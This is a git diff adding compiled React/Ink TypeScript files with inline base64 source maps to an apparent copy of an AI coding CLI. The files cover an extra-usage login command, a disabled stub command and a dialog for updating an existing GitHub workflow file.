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
\ No newline at end of file
diff --git a/cc-haha/src/commands/extra-usage/extra-usage.tsx b/cc-haha/src/commands/extra-usage/extra-usage.tsx
new file mode 100644
index 0000000..ca27f39
--- /dev/null
+++ b/cc-haha/src/commands/extra-usage/extra-usage.tsx
@@ -0,0 +1,17 @@
+import React from 'react';
+import type { LocalJSXCommandContext } from '../../commands.js';
+import type { LocalJSXCommandOnDone } from '../../types/command.js';
+import { Login } from '../login/login.js';
+import { runExtraUsage } from './extra-usage-core.js';
+export async function call(onDone: LocalJSXCommandOnDone, context: LocalJSXCommandContext): Promise<React.ReactNode | null> {
+  const result = await runExtraUsage();
+  if (result.type === 'message') {
+    onDone(result.value);
+    return null;
+  }
+  return <Login startingMessage={'Starting new login following /extra-usage. Exit with Ctrl-C to use existing account.'} onDone={success => {
+    context.onChangeAPIKey();
+    onDone(success ? 'Login successful' : 'Login interrupted');
+  }} />;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkxvY2FsSlNYQ29tbWFuZENvbnRleHQiLCJMb2NhbEpTWENvbW1hbmRPbkRvbmUiLCJMb2dpbiIsInJ1bkV4dHJhVXNhZ2UiLCJjYWxsIiwib25Eb25lIiwiY29udGV4dCIsIlByb21pc2UiLCJSZWFjdE5vZGUiLCJyZXN1bHQiLCJ0eXBlIiwidmFsdWUiLCJzdWNjZXNzIiwib25DaGFuZ2VBUElLZXkiXSwic291cmNlcyI6WyJleHRyYS11c2FnZS50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IFJlYWN0IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHR5cGUgeyBMb2NhbEpTWENvbW1hbmRDb250ZXh0IH0gZnJvbSAnLi4vLi4vY29tbWFuZHMuanMnXG5pbXBvcnQgdHlwZSB7IExvY2FsSlNYQ29tbWFuZE9uRG9uZSB9IGZyb20gJy4uLy4uL3R5cGVzL2NvbW1hbmQuanMnXG5pbXBvcnQgeyBMb2dpbiB9IGZyb20gJy4uL2xvZ2luL2xvZ2luLmpzJ1xuaW1wb3J0IHsgcnVuRXh0cmFVc2FnZSB9IGZyb20gJy4vZXh0cmEtdXNhZ2UtY29yZS5qcydcblxuZXhwb3J0IGFzeW5jIGZ1bmN0aW9uIGNhbGwoXG4gIG9uRG9uZTogTG9jYWxKU1hDb21tYW5kT25Eb25lLFxuICBjb250ZXh0OiBMb2NhbEpTWENvbW1hbmRDb250ZXh0LFxuKTogUHJvbWlzZTxSZWFjdC5SZWFjdE5vZGUgfCBudWxsPiB7XG4gIGNvbnN0IHJlc3VsdCA9IGF3YWl0IHJ1bkV4dHJhVXNhZ2UoKVxuXG4gIGlmIChyZXN1bHQudHlwZSA9PT0gJ21lc3NhZ2UnKSB7XG4gICAgb25Eb25lKHJlc3VsdC52YWx1ZSlcbiAgICByZXR1cm4gbnVsbFxuICB9XG5cbiAgcmV0dXJuIChcbiAgICA8TG9naW5cbiAgICAgIHN0YXJ0aW5nTWVzc2FnZT17XG4gICAgICAgICdTdGFydGluZyBuZXcgbG9naW4gZm9sbG93aW5nIC9leHRyYS11c2FnZS4gRXhpdCB3aXRoIEN0cmwtQyB0byB1c2UgZXhpc3RpbmcgYWNjb3VudC4nXG4gICAgICB9XG4gICAgICBvbkRvbmU9e3N1Y2Nlc3MgPT4ge1xuICAgICAgICBjb250ZXh0Lm9uQ2hhbmdlQVBJS2V5KClcbiAgICAgICAgb25Eb25lKHN1Y2Nlc3MgPyAnTG9naW4gc3VjY2Vzc2Z1bCcgOiAnTG9naW4gaW50ZXJydXB0ZWQnKVxuICAgICAgfX1cbiAgICAvPlxuICApXG59XG4iXSwibWFwcGluZ3MiOiJBQUFBLE9BQU9BLEtBQUssTUFBTSxPQUFPO0FBQ3pCLGNBQWNDLHNCQUFzQixRQUFRLG1CQUFtQjtBQUMvRCxjQUFjQyxxQkFBcUIsUUFBUSx3QkFBd0I7QUFDbkUsU0FBU0MsS0FBSyxRQUFRLG1CQUFtQjtBQUN6QyxTQUFTQyxhQUFhLFFBQVEsdUJBQXVCO0FBRXJELE9BQU8sZUFBZUMsSUFBSUEsQ0FDeEJDLE1BQU0sRUFBRUoscUJBQXFCLEVBQzdCSyxPQUFPLEVBQUVOLHNCQUFzQixDQUNoQyxFQUFFTyxPQUFPLENBQUNSLEtBQUssQ0FBQ1MsU0FBUyxHQUFHLElBQUksQ0FBQyxDQUFDO0VBQ2pDLE1BQU1DLE1BQU0sR0FBRyxNQUFNTixhQUFhLENBQUMsQ0FBQztFQUVwQyxJQUFJTSxNQUFNLENBQUNDLElBQUksS0FBSyxTQUFTLEVBQUU7SUFDN0JMLE1BQU0sQ0FBQ0ksTUFBTSxDQUFDRSxLQUFLLENBQUM7SUFDcEIsT0FBTyxJQUFJO0VBQ2I7RUFFQSxPQUNFLENBQUMsS0FBSyxDQUNKLGVBQWUsQ0FBQyxDQUNkLHNGQUNGLENBQUMsQ0FDRCxNQUFNLENBQUMsQ0FBQ0MsT0FBTyxJQUFJO0lBQ2pCTixPQUFPLENBQUNPLGNBQWMsQ0FBQyxDQUFDO0lBQ3hCUixNQUFNLENBQUNPLE9BQU8sR0FBRyxrQkFBa0IsR0FBRyxtQkFBbUIsQ0FBQztFQUM1RCxDQUFDLENBQUMsR0FDRjtBQUVOIiwiaWdub3JlTGlzdCI6W119
\ No newline at end of file
diff --git a/cc-haha/src/commands/good-claude/index.js b/cc-haha/src/commands/good-claude/index.js
new file mode 100644
index 0000000..e1a619d
--- /dev/null
+++ b/cc-haha/src/commands/good-claude/index.js
@@ -0,0 +1 @@
+export default { isEnabled: () => false, isHidden: true, name: 'stub' };
diff --git a/cc-haha/src/commands/install-github-app/ExistingWorkflowStep.tsx b/cc-haha/src/commands/install-github-app/ExistingWorkflowStep.tsx
new file mode 100644
index 0000000..3efff6f
--- /dev/null
+++ b/cc-haha/src/commands/install-github-app/ExistingWorkflowStep.tsx
@@ -0,0 +1,103 @@
+import { c as _c } from "react/compiler-runtime";
+import React from 'react';
+import { Select } from 'src/components/CustomSelect/index.js';
+import { Box, Text } from '../../ink.js';
+interface ExistingWorkflowStepProps {
+  repoName: string;
+  onSelectAction: (action: 'update' | 'skip' | 'exit') => void;
+}
+export function ExistingWorkflowStep(t0) {
+  const $ = _c(16);
+  const {
+    repoName,
+    onSelectAction
+  } = t0;
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = [{
+      label: "Update workflow file with latest version",
+      value: "update"
+    }, {
+      label: "Skip workflow update (configure secrets only)",
+      value: "skip"
+    }, {
+      label: "Exit without making changes",
+      value: "exit"
+    }];
+    $[0] = t1;
+  } else {
+    t1 = $[0];
+  }
+  const options = t1;
+  let t2;
+  if ($[1] !== onSelectAction) {
+    t2 = value => {
+      onSelectAction(value as 'update' | 'skip' | 'exit');
+    };
+    $[1] = onSelectAction;
+    $[2] = t2;
+  } else {
+    t2 = $[2];
+  }
+  const handleSelect = t2;
+  let t3;
+  if ($[3] !== onSelectAction) {
+    t3 = () => {
+      onSelectAction("exit");
+    };
+    $[3] = onSelectAction;
+    $[4] = t3;
+  } else {
+    t3 = $[4];
+  }
+  const handleCancel = t3;
+  let t4;
+  if ($[5] === Symbol.for("react.memo_cache_sentinel")) {
+    t4 = <Text bold={true}>Existing Workflow Found</Text>;
+    $[5] = t4;
+  } else {
+    t4 = $[5];
+  }
+  let t5;
+  if ($[6] !== repoName) {
+    t5 = <Box flexDirection="column" marginBottom={1}>{t4}<Text dimColor={true}>Repository: {repoName}</Text></Box>;
+    $[6] = repoName;
+    $[7] = t5;
+  } else {
+    t5 = $[7];
+  }
+  let t6;
+  if ($[8] === Symbol.for("react.memo_cache_sentinel")) {
+    t6 = <Box flexDirection="column" marginBottom={1}><Text>A Claude workflow file already exists at{" "}<Text color="claude">.github/workflows/claude.yml</Text></Text><Text dimColor={true}>What would you like to do?</Text></Box>;
+    $[8] = t6;
+  } else {
+    t6 = $[8];
+  }
+  let t7;
+  if ($[9] !== handleCancel || $[10] !== handleSelect) {
+    t7 = <Box flexDirection="column"><Select options={options} onChange={handleSelect} onCancel={handleCancel} /></Box>;
+    $[9] = handleCancel;
+    $[10] = handleSelect;
+    $[11] = t7;
+  } else {
+    t7 = $[11];
+  }
+  let t8;
+  if ($[12] === Symbol.for("react.memo_cache_sentinel")) {
+    t8 = <Box marginTop={1}><Text dimColor={true}>View the latest workflow template at:{" "}<Text color="claude">https://github.com/anthropics/claude-code-action/blob/main/examples/claude.yml</Text></Text></Box>;
+    $[12] = t8;
+  } else {
+    t8 = $[12];
+  }
+  let t9;
+  if ($[13] !== t5 || $[14] !== t7) {
+    t9 = <Box flexDirection="column" borderStyle="round" borderDimColor={true} paddingX={1}>{t5}{t6}{t7}{t8}</Box>;
+    $[13] = t5;
+    $[14] = t7;
+    $[15] = t9;
+  } else {
+    t9 = $[15];
+  }
+  return t9;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIlNlbGVjdCIsIkJveCIsIlRleHQiLCJFeGlzdGluZ1dvcmtmbG93U3RlcFByb3BzIiwicmVwb05hbWUiLCJvblNlbGVjdEFjdGlvbiIsImFjdGlvbiIsIkV4aXN0aW5nV29ya2Zsb3dTdGVwIiwidDAiLCIkIiwiX2MiLCJ0MSIsIlN5bWJvbCIsImZvciIsImxhYmVsIiwidmFsdWUiLCJvcHRpb25zIiwidDIiLCJoYW5kbGVTZWxlY3QiLCJ0MyIsImhhbmRsZUNhbmNlbCIsInQ0IiwidDUiLCJ0NiIsInQ3IiwidDgiLCJ0OSJdLCJzb3VyY2VzIjpbIkV4aXN0aW5nV29ya2Zsb3dTdGVwLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBTZWxlY3QgfSBmcm9tICdzcmMvY29tcG9uZW50cy9DdXN0b21TZWxlY3QvaW5kZXguanMnXG5pbXBvcnQgeyBCb3gsIFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5cbmludGVyZmFjZSBFeGlzdGluZ1dvcmtmbG93U3RlcFByb3BzIHtcbiAgcmVwb05hbWU6IHN0cmluZ1xuICBvblNlbGVjdEFjdGlvbjogKGFjdGlvbjogJ3VwZGF0ZScgfCAnc2tpcCcgfCAnZXhpdCcpID0+IHZvaWRcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIEV4aXN0aW5nV29ya2Zsb3dTdGVwKHtcbiAgcmVwb05hbWUsXG4gIG9uU2VsZWN0QWN0aW9uLFxufTogRXhpc3RpbmdXb3JrZmxvd1N0ZXBQcm9wcykge1xuICBjb25zdCBvcHRpb25zID0gW1xuICAgIHtcbiAgICAgIGxhYmVsOiAnVXBkYXRlIHdvcmtmbG93IGZpbGUgd2l0aCBsYXRlc3QgdmVyc2lvbicsXG4gICAgICB2YWx1ZTogJ3VwZGF0ZScsXG4gICAgfSxcbiAgICB7XG4gICAgICBsYWJlbDogJ1NraXAgd29ya2Zsb3cgdXBkYXRlIChjb25maWd1cmUgc2VjcmV0cyBvbmx5KScsXG4gICAgICB2YWx1ZTogJ3NraXAnLFxuICAgIH0sXG4gICAge1xuICAgICAgbGFiZWw6ICdFeGl0IHdpdGhvdXQgbWFraW5nIGNoYW5nZXMnLFxuICAgICAgdmFsdWU6ICdleGl0JyxcbiAgICB9LFxuICBdXG5cbiAgY29uc3QgaGFuZGxlU2VsZWN0ID0gKHZhbHVlOiBzdHJpbmcpID0+IHtcbiAgICBvblNlbGVjdEFjdGlvbih2YWx1ZSBhcyAndXBkYXRlJyB8ICdza2lwJyB8ICdleGl0JylcbiAgfVxuXG4gIGNvbnN0IGhhbmRsZUNhbmNlbCA9ICgpID0+IHtcbiAgICBvblNlbGVjdEFjdGlvbignZXhpdCcpXG4gIH1cblxuICByZXR1cm4gKFxuICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiIGJvcmRlclN0eWxlPVwicm91bmRcIiBib3JkZXJEaW1Db2xvciBwYWRkaW5nWD17MX0+XG4gICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIiBtYXJnaW5Cb3R0b209ezF9PlxuICAgICAgICA8VGV4dCBib2xkPkV4aXN0aW5nIFdvcmtmbG93IEZvdW5kPC9UZXh0PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj5SZXBvc2l0b3J5OiB7cmVwb05hbWV9PC9UZXh0PlxuICAgICAgPC9Cb3g+XG5cbiAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiIG1hcmdpbkJvdHRvbT17MX0+XG4gICAgICAgIDxUZXh0PlxuICAgICAgICAgIEEgQ2xhdWRlIHdvcmtmbG93IGZpbGUgYWxyZWFkeSBleGlzdHMgYXR7JyAnfVxuICAgICAgICAgIDxUZXh0IGNvbG9yPVwiY2xhdWRlXCI+LmdpdGh1Yi93b3JrZmxvd3MvY2xhdWRlLnltbDwvVGV4dD5cbiAgICAgICAgPC9UZXh0PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj5XaGF0IHdvdWxkIHlvdSBsaWtlIHRvIGRvPzwvVGV4dD5cbiAgICAgIDwvQm94PlxuXG4gICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAgPFNlbGVjdFxuICAgICAgICAgIG9wdGlvbnM9e29wdGlvbnN9XG4gICAgICAgICAgb25DaGFuZ2U9e2hhbmRsZVNlbGVjdH1cbiAgICAgICAgICBvbkNhbmNlbD17aGFuZGxlQ2FuY2VsfVxuICAgICAgICAvPlxuICAgICAgPC9Cb3g+XG5cbiAgICAgIDxCb3ggbWFyZ2luVG9wPXsxfT5cbiAgICAgICAgPFRleH